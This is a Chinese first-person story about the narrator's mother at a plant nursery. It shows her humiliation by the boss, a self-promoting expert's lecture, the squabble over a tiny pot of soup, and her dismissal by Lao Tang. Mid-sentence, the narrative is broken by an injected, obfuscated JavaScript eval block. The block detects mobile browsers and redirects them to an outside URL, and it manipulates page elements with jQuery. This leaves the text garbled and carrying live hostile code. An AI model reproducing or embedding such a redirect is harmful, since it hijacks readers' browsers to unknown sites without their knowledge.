坐在我妈妈右手边儿的老刘想溜了。她跟我妈妈说:“老周,我先走了,你再玩会儿吧。” 我妈妈说:“不行啊,老刘,我要跟你一块儿走。” 老刘身材好,相貌好,打扮也好。她当然跑不了。 老蔡要跟老刘跳舞。老刘家里有憨厚老实的丈夫,和亭亭玉立的孩子,我妈妈看得出来,老刘并不想跟老蔡跳舞,但是老蔡邀约,盛情难却。老刘只好半推半就地跟老蔡一起跳了起来。 我妈妈不会跳舞,在一边儿干坐着。老刘被老蔡拉着手在场地里扭动的时候,无奈地笑着看看我妈妈。我妈妈居然像个张作霖部下的军阀,逢场作戏地向她投去纸醉金迷的笑容和赞许的目光。 老蔡跟老刘一曲结束,大家爆发出热烈的掌声。 老蔡说:“来来来,我们合个影。”老刘只好挨着老蔡站好。老刘那天穿着红色的外套,老蔡当然是衣冠楚楚。 不知道是哪个马屁精在旁边说了一句:“像新郎和新娘!” 老刘的脸红红的,老蔡感叹说:“可惜我都快五十了,我要是年轻十岁就好了。” 老蔡也看得出来我妈妈是个土包子,实在不会跳舞。 他说:“老周唱个歌吧。” 我妈妈说:“我不会唱。” 老蔡说:“你随便唱一个。” 我妈妈说:“我真的不会唱。” 老郑说:“《灰太狼》会唱吧,唱《灰太狼》。” 我妈妈说:“不会。我怕我会出洋相。” 老蔡不高兴了:“唱一首,今天你一定要唱。” 老刘说:“老周,老蔡让你唱,你就唱一个。” 我妈妈说:“我真不会唱,我从来没来过这种地方。” 老蔡说:“唱!今天就要唱一个!” 我妈妈说:“我真不会唱,我唱的都是以前的老歌儿。这种地方哪有那种歌儿。” 老蔡皱着眉说:“你这个样儿迟早要被淘汰的。” 老刘借口家里有事,拿起沙发上的外套要走了。我妈妈也赶紧跟着老刘一起逃出了那个地方。老刘家在附近,而我妈妈,离家太远了。那时,已经是夜里十点了,我妈妈看到路边有一辆三轮车,就赶紧跳上车去:“去前边儿青菜市!俺家搁青菜市里。”我妈妈说。三轮车师傅发动马达。我妈妈快马加鞭逃离了那个地方。 第二天,大家正常上工。我妈妈到了,老刘也到了,老罗和老梁也都到了。大家蹲在苗圃里忙活着。 “我昨天回到家又喝了二两酒。”老罗说。 “你昨天回家都几点了?还能喝二两?老唐给你炒的什么菜?”老梁问。 “她哪给我炒菜,我吃的花生米儿。”老罗说。 正说着,苗圃里的小屋的帘子掀开了。老蔡睡眼惺忪地从里头走了出来。接着,老唐也走了出来。 “哗啦——”老唐把一盆洗脸水泼了出来。 “今天中午吃什么?”老梁说。 “谁知道吃什么,老唐烧什么就吃什么。”老罗说。 这天,老蔡请了老师傅来苗圃指导,老师傅笑嘻嘻地看着众人在苗圃劳动。妇女除草,男劳力推着小推车搬运花木。 “满红火的嘛!”老师傅赞叹着,转头又走了。毕竟,太阳底下太晒了。 “站着说话不腰疼!”老梁说,“大夏天的,俺们出力干活儿累地要死,他还说红火!” 老刘说:“人家是专家,听说以前搁苗圃干过,退休了。他技术好,老蔡专门儿花钱请来的。” “专家不来干活儿,还打扰我干活的?我看这不是恁娘的什么好专家。”老梁说。 老罗说:“不是有你干活吗?人家专家还要干什么活儿啊?人家不是带来了小叶栀子花,让咱这些人栽的吗?” “专家就不用干活,就搁那说说笑笑就管了?” 老梁说。 “嗯,人家说说笑笑就管了。人家靠的是脑袋瓜子好使,能说会道的,哪像你啊,跟个驴一样,除了干活,还能干什么?”老罗笑着说。 “我光会干活啊?我还知道吃!”老梁说。 “那要看人家给不给你吃,人家要是不想给你吃,你还得往后站站。”老罗说。 老蔡过来招呼大家伙儿说:“来来来!都别干了!都到会议室里来。让人家老师傅给咱指导指导!” 大家都停下手里的活儿,都到会议室里找个地方坐定。老师傅已经在台上坐着了。 老师傅说:“我昨天搁空调间里坐了两个小时,来准备今天的稿子。弄的是腰酸背疼。大家要好好听,不然就是对不起我。怎么种出花儿来?你得一会儿斜着种,一会儿横着种。一会儿一棵一棵地种,一会儿一片一片地种。哎,你得动脑筋,得种出花样儿来。” 老梁在下头悄悄说:“恁娘的,种花就种花,整那些花样儿干什么?” 老师傅接着说:“你不整出花样儿来就叫做死脑筋,不懂得变通。” 老梁拍了拍老罗的肩膀,说:“这话简直是放屁的,他是听他哪个祖宗说的?” 老罗被老梁拍了一下,一个机灵醒了。他摩挲着眼睛说:“老师傅说的,他刚说的。” 老师傅说:“前几年,我写了一本《种花知识大全》。我这本书是种花的标准,是依据,恁那些人怎么具体的种花,那是载体。” 老梁说:“什么标准?我的手就是标准。土儿是干是湿,坑儿是深是浅,我一搭手儿就知道。还要听他扯那一套。” “他不弄出来个道道儿来,他靠什么赚钱的?”老罗伸了个懒腰说。 老梁说:“他坐搁空调间里写个狗屁玩意儿。写完了,就跑到咱这些出苦力的跟儿来指导。” 老罗说:“现在不是让你也坐着吹空调了吗?不是来听他的讲演,能让你搁这坐吹空调?有的人光会劳动,有的人光会指手画脚。你不想听就眯一会儿吧,我刚才差点眯着了,被你给拍醒了。” 老梁说:“这样说,指手画脚是他的专科。” 老罗说:“那是。光会劳动不会指手画脚,你成不了专家。成不了指导。指手画脚也是一能儿。你看,咱都不会上去讲吧。人家就行。” 老梁说:“他讲地什么。我看是胡说八道。” 老师傅说:“我老弟在全镇讲了二十几遍。我是特级养花能手。我编写的《养花知识大全》发表在县《花艺杂谈》上。马上,《春田花花》杂志社又要向我约稿了。我太忙了。不是老蔡催的急,我真没时间到这儿来跟恁说这些。我养花不仅考虑眼前,还有长远的眼光,我以前就提出来,要养双色花、并蒂花。怎么样?现在双色花、并蒂花吃香了吧?你不能光凭经验养花,你还要有个依据。我这本《养花知识大全》,你拿到手上,保证你养花手艺更上一层楼。我现在发给大家看看,一人一本儿,给恁打八折,只要恁二十块钱。你要是到店里买的话,更贵。店里一本儿要三十五。” 老师傅说:“来,大家回答我,养花需要哪些要素?哪位知道?翻翻手里的本子告诉我!” 台下鸦雀无声。 老师傅说:“都不知道是吧?来!抬头看我!不要搁那磕头打盹儿的!” 老师傅看了看台下,指着老罗说:“来,你告诉我,养花需要哪些要素啊?” 老罗站起来想了想,说:“我光知道尿素,不知道什么是要素哦。” 老师傅说:“不知道啊。你好傻啊。书皮儿上不是有吗?用心养花,用爱种花。来!一起说!” “用心养花,用爱种花。”台下的几个人稀稀拉拉地说。 “大点声儿!”老师傅喝道。 “用心养花,用爱种花。”台下的几个人又稀稀拉拉地说。 老师傅说:“我辛辛苦苦弄的讲稿,恁都不给我好好听。真是一群泥腿子,活该恁一辈子出苦力!恁看我,我都往六十上爬了,过几年就要退休了。我退休了照样拿着丰厚的退休工资。恁谁有我这个待遇?恁今天搁这里出苦力,明天,老蔡一句话就能让恁滚蛋。恁家的老婆孩子还等着恁买米下锅吧?恁一个老农民,吃的都是什么?无非是青菜辣萝卜!想想这些,恁心里不难过吗?恁还不该好好听我的讲演吗?” 老梁说:“既然老蔡一句话,就能把咱给辞喽。那我更不听他的了。听他那些有屁用啊?” 老罗说:“人家光想着让你听他的讲儿,买他的书,人家可不管老板用不用你。” 老师傅说:“你信不信?我搁恁老板那里说话还是有用的。今天在座的,哪个好好听了,哪个不好好听了,我心里都有数。我这个人,就是记性好。哪个不好好听,我回头跟恁老板说一声儿,他明天就能让你卷铺盖走人。你想种花都种不上。” 老梁说:“不种就不种吧。无所谓。你不让我种花,我就去杀猪。” 老罗说:“端人碗,服人管。种花就得听种花的那一套。杀猪就得听杀猪的那一套。反正都是套儿。” 老梁说:“就这样的,他是怎么成了专家的?” 老师傅说:“来,再看这本书第五页上的划横线的话。标准是种花的依据,种花是标准的载体。” 老梁说:“不说人话。把明明白白的事儿说地弯弯绕绕。把简简单单的事儿说地一点儿都听不懂了。” 老罗说:“哎,会绕,绕地巧,绕地妙,人家这就叫高超。” 老梁说:“我不听他那一套,就不会种花了?我听了他那一套,就成了神农了?” 老罗说:“哎,你只知道埋头种,人家知道绕,这就叫一个能儿。” 老梁说:“我就知道一棵一棵地种,哪要那么多花样儿。” 老罗说:“你看看,要不人家就成了高角儿了吗。” 老师傅演讲结束了,老蔡走上去,给老师傅递上一个大红包。 老蔡说:“到底是专家!整整两个小时!真行!真能摆货!” 老梁说:“娘哎,他讲了两个小时,拿了个大红包。我听了两个小时,什么都没有。” 老罗说:“走,上茅房去!坐地腚疼!” 老梁说:“走!上茅房去!可给憋死了!” 吃中午饭了。老蔡、老唐跟老师傅坐一桌。干活儿的工人坐一桌。 老蔡说:“今天,有老师傅在,老唐特意做了小酥饼。来!大家伙儿也尝尝!” 老师傅笑着说:“嗯,大家伙儿尝尝!尝尝!闻着就香!香飘十里啊!” 老蔡说:“怎么样?恁不是会作诗吗?恁给来两句儿!” 老师傅说:“行行行!大家干活太辛苦了!我给来两句儿,给大家解解闷儿!” 老师傅看了看桌上的小酥饼说:“有了!我就来夸夸这个小酥饼!我都快六十了,还是头一回吃到恁么好吃的小酥饼。” 大家吃着饼,只听老师傅说:“六十年来一卷酥,麻姑手痒叹不如!” 老蔡说:“好!恁老人家真是有才,一分钟不到就把诗给作出来了。” 老梁悄悄地说:“什么狗屁诗!跟臭脚丫子样!其臭无比!什么‘一卷酥’啊?还‘核桃酥’呢!”老梁这么一说,众人都笑了。 老刘也说:“还‘麻姑手痒’!真是个臭流氓。什么‘麻姑手痒’?是他自己心痒痒了吧。人间能不开了他,他还要去找麻姑!俺干活儿恁么辛苦,他还要写这样的臭诗来恶心俺。真是不要脸!” 正说着,隔壁那桌又传开一阵爽朗的笑声:“哈哈哈哈——” 老梁说:“他还作诗,我作的都比他好!” 老罗说:“老梁,恁也来两句!” 老梁说:“我就接着他的作!” 大家笑着说:“行!” 老梁说:“假若卷上臭豆腐,这个酥饼味才足!” 大家哈哈大笑,笑得眼泪都出来了! 隔壁桌上的老师傅,看见老梁他们笑地开心,也热情地打招呼:“众人们辛苦了,多吃点儿!” 老刘说:“奶奶的,这会儿还真是有点儿想吃臭豆腐了。” 我妈妈说:“想吃臭豆腐,自己做就行。买块豆腐捂捂,等有点味儿了,倒点儿凉开水,加点盐腌腌,再切点儿葱姜辣椒搁里头,就好吃了。” 老刘说:“看来,你也爱吃臭豆腐!” 我妈妈说:“我春天上就爱吃臭豆腐,吃臭豆腐,就煎面饼子,可鲜了。” 饭后,老师傅要走了,老蔡说:“来来来!大家伙儿过来,咱跟老师傅合个影儿!” 我妈妈不敢轻举妄动,看着老蔡过去,再看着老唐过去,看着老梁老罗老刘他们也都过去了,我妈妈这才走过去,站在最靠边儿的位置。 “哎!拍照了!拍照了!大家注意哈!哎!笑一个!”我妈妈双手垂立,端端正正地站着。 “咔嚓!咔嚓!”拍照的人拍完了,大家都笑着去看效果图。我妈妈一看,照片里是衣冠楚楚的老师傅和老蔡,还有笑意盈盈的老唐,还有旁边的几个人,也都是清清楚楚。唯独没有我妈妈。我妈妈心里很清楚,拍照也是要讲究技术的,位置重要的要重点拍,要给特写,没有地位的就忽略不计。 当时是大夏天,午后太阳当头,一时不能出工。大家就在树荫里乘凉。 “老蔡请咱吃雪糕了,大家来拿雪糕。”老唐在棚子里喊道。 大家听到了,一个个陆陆续续地都去了。 我妈妈也去了。桌子上还有两块雪糕了。 老唐跟我妈妈说:“老周,快来吃雪糕。” 我妈妈说:“谢谢大妹妹。” 老唐说:“老周,你看,我平时对你也蛮好的……” 我妈妈赶紧说:“大妹妹,恁对我好,我也知道。这块雪糕我就送给你吃了。” 老唐开心地说:“那好的,回头我把它再退给老蔡。” 苗圃的人吃饭,是没有汤的。 老刘说:“大夏天的,好害渴,没有汤,受不了哇。老梁,回你跟老蔡说说吧,中午吃饭,给大家伙烧点汤。” 老梁说:“行!” 第二天中午,老唐来了:“来,喝汤吧,我给大家伙儿送汤来了。” “哦,今天有汤喝了!”大家伙儿兴奋地说,“汤在哪儿呢?” “那不是的吗?”老唐指了指抱柱边上的一个小桶说。 大家转身望了望,在抱柱边上,坐落着一个小型不锈钢桶,那桶大概高十五厘米、宽十厘米的样子,透明锃亮,小巧可爱,一只手轻而易举就可以举起来。桶里面装了半拉的汤。这么少的汤这么多人喝肯定不够。 老唐说:“老梁,汤到位了哈,你来组织大家喝汤,一人一碗,不能多打,不要争抢。” 老梁说:“我想问一下。不抢怎么喝到汤?就那么一桶汤?我一个人捧起来就喝了。你现在让我把它给那么多人喝?给谁喝?我实在不知道让大家伙儿怎么喝这碗汤。我中午不让他们喝汤好了。” 老唐说:“你不让大家喝还不行。大家会有意见。” 老梁愤愤地说:“那你说,就那点汤,怎么喝?我不知道该怎么喝。你来教教我,这汤该怎么喝?” 老唐说:“这事儿我不管。反正是有汤了。我只管烧汤。怎么喝汤,那是你们的事儿!” 老唐转头就走了。 老刘说:“老梁,你别急,你每天派个代表来喝,表现好地喝。” 老罗说:“咱排队喝吧,一个人一天,今天你喝,明天我喝。” 我妈妈笑着说:“哈哈!那有的人喝不到汤,看着别人喝汤,可是急死了,渴死了。” 老梁说:“那怎么办。她让大家喝汤,还说不要争抢。不抢,汤又不够,你说怎么办。我实在不会喝这碗汤。” 老刘笑着说:“不行咱们一人一口吧。一人一口,喝完再去排队,循环喝,喝完为止。” 老梁说:“不行,有细菌的。怕传染。” 老刘说:“你打一勺汤,我们一人舔一口。” 老罗说:“我找几根吸管来,咱几个人一块儿吸。” 老刘说:“其实,那汤就是刷锅水,也没什么好喝的。” 老梁说:“我马上就去问问老蔡,让他来教教我,这碗汤到底该怎么喝。我实在不会。” 老刘说:“老梁,这个你就不知道了吧,汤不够,没有汤,你还能让大家都喝到汤,那才是本事。要是汤够了,你能让大家都能喝到,那算什么本事?” 老罗大笑说:“哈哈哈哈!我突然想到一个故事。一个苹果的故事。” 我妈妈问:“老罗大哥,什么一个苹果的故事啊?” 老罗说:“一个苹果的故事是这样的:有个人要考考大家,说是怎样才能把一个苹果分给一大伙儿人吃。一个小苹果能怎么分,谁也不知道。这时候,有个小青年说,他有办法。他把那个小苹果用蒜臼子砸碎了,放在一个缸里,打来井水一兑,让大家伙儿喝。这样,大家就都吃上那个苹果了。” 老梁说:“是的噢。要不,我去把汤装点自来水来,让恁这些人喝?” 老刘说:“行啊!喝完仔细咂摸咂摸嘴儿。还真是那个味儿!” 老梁说:“哦,那这还真是个好办法来。那我把这桶汤洒到大江大河里去,咱都到河里挑水吃,那还够咱喝一辈子的来!” 大家笑着说:“是的是的!” 老梁说:“那这个汤还真是个神汤来,这个桶还真是个宝桶来!” 老刘说:“那还不是个宝桶吗?人家这就叫给你汤喝了啊!你喝不到,不会喝,你怪谁!” 老罗说:“怪咱自己!怪咱自己!” 老梁说:“老罗,这是恁媳妇干的事儿,你还搁这和稀泥!” “你看看!我能管得了她啊!人家是谁!人家是姑奶奶!人家是这个!”老罗竖起大拇指说。 夏天的一个午后,我去苗圃找我妈妈。我妈妈从苗圃里出来,她穿着统一的白色的工作服,这么多年,我头一回见我妈妈穿得这么整洁,这么美。她拿出来一双凉鞋给我。这么多年,她头一回给我买了一双鞋。我本来还很惊喜,但看到那凉鞋,我就变得淡然了,那是一双带鼻子的乳胶凉鞋,男士的,淡黄色。我那年十八岁了,知道要脸面了。这样的凉鞋我其实一点都不喜欢,我觉得不好看。可是我妈妈已经买了。我不知道她为什么非要买一双这样的凉鞋,我也知道她已经没有钱给我买第二双凉鞋了。 我妈妈热情地蹲在地上给我试穿,我就顺从地穿上,心里谈不上高兴,也谈不上不高兴。不管如何,我是有一双凉鞋穿了,总比没有鞋穿的好。 苗圃里的一个妇女走了出来。 “这是唐大姨。”我妈妈说,“你叫大姨!你看恁大姨长得多好看!” “大姨!”我喊道。心里想,这就是我妈妈常说的老唐了。 “哟,你给她买了凉鞋啊。”老唐说,“你对恁闺女真好!” “是的啊!哪个当娘的不疼自己的孩子哎。我自己都没舍得买。”我妈妈说。 我听了我妈妈的话,总觉得她的话让我无如之何。说她舍己为人吧,她给我买了一双这样的凉鞋,说她不知道考虑我的感受吧,她自己确实又舍不得买。唉! 老唐看了看我脚上的鞋,说:“这鞋是男式的。不适合她。” “唉!俺家穷,有鞋穿就不错了。哪管这些。”我妈妈说。 “恁闺女多大了?” 老唐说。 “十八了。”我妈妈说。 “小女孩儿,还是要好好打扮打扮的。我的手串,就是我过生日,俺老公给我买的。” 老唐说。 我看了看她手腕上金光闪闪的手串,一条红绳,串着六个猪头。 “你那个小金猪,一个不少钱吧。俺可买不起哦。”我妈妈笑着说。 “也不是太贵,几千块钱吧。” 老唐说。 “俺哪有那个钱。俺能吃饱肚子就不错喽。”我妈妈说。 “小女孩儿不能光知道学习,也要好好打扮。不会打扮的话,以后上好学也没用。小丫头孩儿,都是长得漂亮的嫁的好。” 老唐说。 “俺家的孩子都不会打扮。还是恁唐阿姨会打扮。你看恁唐阿姨打扮的好吧!”我妈妈说。 “恁闺女也不是不会打扮。是不知道怎么打扮。我教教你。我用小珠珠编的手链,你给恁闺女拿一条去,我给你便宜一点儿,就收你三十块钱。你给她戴上,保管好看。”老唐说。 “三十块钱,太贵了。俺可买不起。”我妈妈说。 “三十块钱还贵啊?这点小钱都舍不得啊?”老唐说。 “俺不是舍不得,俺是真没有。”我妈妈说。 “你怎的没有钱的?你不是在苗圃上班,天天计工拿工资吗?你就是死脑筋,想不开,越穷越省,越省越穷。你这样活地累吧呢?!女人嘛,打扮是第一位的。我就是因为会打扮,把俺家老罗成功地拿捏了。老罗什么都听我的。女人啊,要是不会打扮的话,男人是不会在乎她的。”老唐说。 我妈妈讪讪地笑着说:“俺家是穷哦,不能跟恁比哦。恁光买那些小珠珠都得花可多钱了吧?” “也没有多少钱,都是些边角料。”老唐说。 “大妹妹编地那些手链肯定是好。就是吧,俺家穷。俺没有恁么好的衣裳鞋配。你那些手链编地再好,戴在俺的手上也是白搭。你看看俺大闺女这手,天天帮着我剥蒜,磨地一手泡,哪戴的住你那些好东西。你那些好东西,搁俺家里,不衬。”我妈妈说。 老唐听了我妈妈的话,没趣地走了。我妈妈又去干活儿了,我无事可做,就盯着苗圃里的那些人看。 老蔡有深棕色的皮肤,小眼睛,单眼皮,眼神挑剔,像个警觉的老鼠,在人群中游移。两片嘴唇上的皮肉呈深陷的八字型向下耷拉着。如果戴上一顶帽子,必定像极了一个威严的日本大佐。他在跟大家说话,他说地什么我听不清楚。因为他的声音太嘶哑了。他的喉咙像个老旧的风箱,勉强兜着一口气。他的嗓子像个年久失修的烟囱,因为里面燃烧了很多条高级香烟的缘故,他说起话来,嗓子里总是像有一口浓痰堵着。他的声音因为沙哑,反倒有了一丝磁性,他的音线听起来像是一根经不起拉扯的破旧的皮条。那皮条显然是被烟熏火燎地快要散架了,拉起来咯咯吱吱的。 温和的老梁大爷也在那里。面前的他跟老蔡相比,区别在哪里。可是在我的眼里,老蔡的确比他更神秘更有魅力。是什么使老蔡比老梁更神秘更有魅力呢,是权力,是神秘的权力使他更神秘。老蔡肥满的后脑勺上的皮肉,在他的后脑勺与肥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137798|180320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 硕的脖子之间不能全面铺展,严重压抑,形成褶皱,里头厚厚的不知道是脂肪还是胶原蛋白。他的后脑勺的白白的皮肉挤压着黑色的头发,这使他的后脑勺看起来像是一头老虎或是野猪的带有花纹的脸。这样的后脑勺跟老梁的后脑勺是截然不同的。温和的老梁大爷的后脑勺很是贫瘠,使人想不到他的后脑勺上还有皮肉。他的后脑勺从后面看,一点都不像老虎,而像一头慈祥的白胡子的老山羊。 温和的老梁大爷缓缓地走着忙碌着,他通体的气质都是那样温润。你在他的面前感觉不到威胁,你不会害怕他处置你。因为他没有权力。假如有一天,他有了权力,他会不会也霎时透出通体的神秘,他的一如往日的温和,是不是也变成了深藏不露的谦虚,他的一如往日的笑容里是否也透出不一样的魅力。假如有一天,老蔡不再是领导,从他不再是领导那一刻起,他是不是就失去了他往日给人的神秘和魅力。 猛虎在深山,百兽震恐,及在阱槛之中,摇尾而求食,积威约之所渐也。我又想起了老梁大爷,看他的样子还是想发挥自己的价值,并不想被闲置。如果他当了领导,他的并不高大的身高在权力的加持下,是不是也立刻变得像拿破仑那样高大而华丽。那时候,我走到他的身边,是不是我的笑容里也充满了从未有过的讨好与谄媚。会,当然会。是什么让他跟他自己,让他跟别人有这样的不同,是权力。我现在终于明白了权力的魅力,为什么天下英雄为了它群雄逐鹿,趋之若鹜,不怕牺牲自己的性命和头颅。权力好啊。它的光辉太耀眼太灿烂,足以使一个人变成另一个人,一个完全不同的人。至于怎样才能拥有权力,这是一个深奥的集社会学、民俗学和玄学、以及投胎学之大成的问题。 回到家,我跟我妈妈说:“妈,那个老唐老说她自己好看,你也夸她好看。我怎么没觉得她有多好看的。长得跟气□□子样。” 我妈妈说:“好看什么哎。两个怀跟长茄子似的,都快垂到膝盖了。” 我说:“那你还夸她夸地跟真的似的。” 我妈妈说:“她这样的人,爱木,爱浪骚,自觉得自己比旁人强,谁要是敢跟她意见不合,她跟个气□□子似的,气得都要炸了,恨不得把人给吃了。她跟老蔡相好,老罗都不敢管。这种人爱咬人,我夸她两句,她好少咬我几口儿。软硬刁憨是光棍儿。” 我说:“她说你,你不能说她啊?你的嘴不是蛮厉害的吗?论耍嘴皮子,你怕她啊?” 我妈妈说:“不怕也不行啊?不怕县官,就怕现管。我要是跟她掰扯,她一生气就得给我小鞋穿,谁想穿小鞋啊,小鞋多挤脚啊?她还能去老蔡那儿说我的坏话,我的日子就更难过了。整个小花园里,就恁老梁大爷好点儿,他是老蔡本家的大哥。他憨厚老实,不欺生,人还干净。跟个八贤王似的。多亏了有他,要不是有他在啊,俺这些人不知道要被她跟老蔡欺负成什么样了。” 我说:“她脸皮真厚,她跟老蔡相好,老罗不敢管,她还说她拿捏了她家的老罗。” 我妈妈说:“出去可别说。俺苗圃里的人都知道,没人敢说。要是说出去被老唐知道了,可不得了。” 我说:“妈妈,她这个人那么浪,你怎么受得了她的?” 我妈妈说:“受不了也得受。不就是图人家两个钱吗?人,首先得吃饱饭,脸皮算什么。恁以后都要好好上学,上好了学就少受人家的气。你看看,恁妈就是没上好学,人家看不起恁妈。不仅看不起恁妈,人家连恁都看不起。” 我看着我妈妈,一时不知道说什么了。我的妈妈,为了我们,她受着人家给的气,背着人家给的伤,她连默默地伤心都来不及,就得擦干心里的血,脸上的泥,继续苦去、累去,吃去、笑去。自尊是什么?人穷了还有自尊吗?可是穷人到底也是个人,即使人家不给你自尊,你自己到底还是知道什么是个“自尊”。自尊就是自己知道别人得尊重自己,自己知道别人没有尊重自己。自己知道别人没有功夫尊重自己,自己知道自己的自尊不屑一提。自己知道自己没有被尊重,自己还装作很轻松。自己装作自己被伤了自尊,没有那么痛。 一个上午,我妈妈刚去苗圃,准备开始干活儿,老唐就把我妈妈叫到她的炊事棚里。 老唐说:“跟你说件事儿,老周。”我妈妈预感到没什么好事,脸色发白地看着老唐。 老唐靠在她的沙发上跟我妈妈说:“老周,你看,你年纪大了,就会唱两首老歌,也不会跳舞,你这样跟时代已经脱节的,是注定被淘汰的。老蔡的意思是,你不适合在苗圃工作了。” 我妈妈说:“老唐,我在咱这个苗圃里,又没吃赘食。就因为我不会唱歌跳舞,就不要我了啊?” 老唐拿起她面前的一张纸说:“不是不要你,是你的年龄不合适。你看,这是咱苗圃新出台的规定。第一条:年龄必须在四十五周岁以内。你今年多大了?你四十六了吧。你看看,你年龄已经超出规定范围了。” 我妈妈说:“大妹妹,这个规定是你制定的啊?” 老唐咧嘴儿笑着说:“是的!” 她指着那张白纸上的条文说:“这就迫使你不能再在苗圃干活儿了!”老唐对自己亲拟的章程很是自得。坐在一边的老蔡,也跟着她一起笑着。老蔡笑地开心,笑地发自内心,他浑身的肥肉也跟着得意地颤抖。 老唐张开嘴笑的时候,露出了隐藏在薄薄的嘴唇下的牙齿。那些牙齿黄黄的,像是嚼过后吐出来的石榴籽氧化后的样子。那些石榴籽阴森森排在一起,如猛兽奇鬼,森然欲搏人。我妈妈突然明白了老唐成功的秘诀。一个人想要成功是不能太温和太有人性的。说不定,还得有点兽性和野性。她的隐藏着的凶猛让我妈妈自愧不如了。我妈妈内心的膝盖有那么一瞬间向她屈膝了下去。我妈妈张着嘴愣愣地看着老唐,我妈妈的牙齿整整齐齐地,完全是一个啮齿动物的牙齿。她全身上下,除了赤裸裸的低劣气,的确没有什么比她更凶猛的东西。她没有那些狼虫虎豹的脸上身上散发出来的血腥气和猪肉气。所以,她得表现地对她五体投地。 人是生而平等的。动物之间也是如此吧。豹子吃血肉和狗吃屎之间,并没有本质的区别,都是饱腹而已。可是,一只凶恶的狮子,看起来,的确比一只绵羊更高贵,因为后者没有前者拥有的杀戮和撕咬的能力。 小孩子说,女娲造人的时候,把动物的心脏当做人的心脏。人的心脏其实是动物的心脏。此话虽然幼稚,但是又似乎很有道理。人与人之间之所以不一样,可能在于女娲当初造人的时候所用的动物的心脏不同吧。有的人面目看着是人,可是内里装着一颗狼虫虎豹的心,以至于那些装着一颗羊心牛心马心的人,注定要遭受他的撕啃。 人家让你走,你就走吧,没办法,谁让人家说了算呢。强权即真理。有权是强大的,没权是无能的。无能的人只能接受和顺从。 我妈妈说:“老唐,我去收拾一下我的东西。” 老唐说:“你还有什么好收拾的。这里的东西都是苗圃的,你哪有什么东西啊?” 我妈妈听了老唐的话就急了。她说:“老唐,我到这个苗圃里来,也是老老实实地干活儿。除了挣口饭吃,我不图别的什么。我那双劳保鞋是我从俺家里带过来的。这个你得让我带走。” 老唐说:“哪个是你的东西,都是苗圃的,你空身儿来的,也空身走,什么东西都不能带!” 我妈妈没办法,就去找老梁。老梁正蹲在地上抽烟。 我妈妈到了老梁跟前跟他说:“老梁大哥,老唐不让我在苗圃干了。我自己搁家里带来的一双劳保鞋,也不让我带走。”我妈妈说着,心酸地哭了。 老梁说:“你自己带来的东西,他们凭什么不让你带走的?他们这不是明显的欺负人吗?我去找老蔡去。你看看把大妹妹委屈成什么样儿了。” 老梁说完,站起身,直奔老蔡的办公室去了。我妈妈跟在老梁的身后,看着老梁大爷的背影,泪眼婆娑。她想起了老梁大哥唱的歌:“浏阳河,弯过了几道弯,几十里水路到湘江。江边有个什么县哪,出了个什么人,领导人民得解放啊依呀依子哟。” 老梁大爷这位忠臣的进谏非常有用,老唐不再阻挠,同意我妈妈带着她的劳保鞋离开了。 晚上,东头驼背的二大娘拄着拐杖来我家了。 “二嫂子嘛来坐坐。”我妈妈说,她手里拿着一个化肥袋子缝着。 “怎么有空儿缝袋子的?不去苗圃干活了?”二大娘问。 “不去了。被人给辞了。嫌咱老,嫌咱跟不上时代,咱这样的就应该被淘汰。”我妈妈说。 “你在苗圃干地好好地,他说不让你干就不让你干了?一点儿不讲理。”二大娘说。 “二嫂子,你怎么还迷的?人穷了哪有理?咱在人家眼里就不是个人。咱就是给人家拉磨的一头驴。死活还不是人家一句话的事儿嘛。” 我妈妈说地很对,有时候,我跟我妈妈一起吃饭,我看着我妈妈大口嚼食的时候,我觉得她毫不做作地吃饭的样子,像是一只狗在进食。我妈妈的小腿儿跟我的一样,并不直顺,因为长年累月像驴一样推磨、剜地,她的两条腿不像是一个女人的两条腿,倒像是驴的两条腿。有时候,在她举着千钧重的担子往坡上蹬的时候,我觉得她的确像是一头拼尽全力往前蹬的驴。 “唉!老俗语说的,‘有理走遍天下,无理寸步难行’。依我看啊,人穷了没有理。人穷了也没有脸。”二大娘叹道。 “二嫂子,谁有脸?谁没有脸?谁要脸?谁不要脸?有钱有势的就有脸,就要脸。没权没势的就没脸,就不能要脸。”我妈妈说。 “哼!是人都要脸。恁自觉的比谁都强,恁有脸。我穷,我寒酸,我也有脸。”二大娘说。 “人家拿你不当人,人家觉得你就能不要脸。二嫂子,你看看我,我被人家赶走了,丢脸吧?我哪还有脸啊。脸是人家给的!二嫂子!人家不给我脸,我就得厚着脸皮活下去。要什么脸啊?脸值多少钱啊?” “是的。为人在世就得脸皮厚点儿,太要脸了活不下去。”二大娘说。 “那是!是活着重要,还是脸重要?二嫂子,你看看,我就过成这样,天天挨打受骂地,被人夹挤,我能去死吗?二嫂子?我就是死了,也不管人家的事儿。我就是死了,也只能是俺三个小孩儿没妈了,关人家什么事?人家听说了,人家不仅不同情,人家还得笑地哈哈的!可衬了人家的心了!” “那可不能死。好死不如赖活着。为了三个孩子,咱就只可忍耐着点儿。闭着眼往前过。困难是暂时的。” 二大娘说。 “是的,二嫂子。”我妈妈说,“毛主席不是说的嘛,我们的同志,在困难的时候,要看到成绩,看到光明,要提高我们的勇气。” 说着,我妈妈唱起了歌儿:“我们的同志,在困难的时候,要看到成绩,看到光明,要提高我们的勇气!” 我妈妈唱完,笑着问二大娘说:“这是毛主席语录,你会唱吧?二嫂子?你还记得吧?” “我怎么不会唱的?那时候吃生产队的时候天天唱。”二大娘说。 “你还记得啊,那咱一块儿唱唱?我就喜欢唱唱儿!”我妈妈笑着说。 “唱唱儿就唱唱儿!”二大娘说。 于是,我妈妈跟二大娘一起唱起了歌儿: “我们的同志,在困难的时候,要看到成绩,看到光明,要提高我们的勇气!” 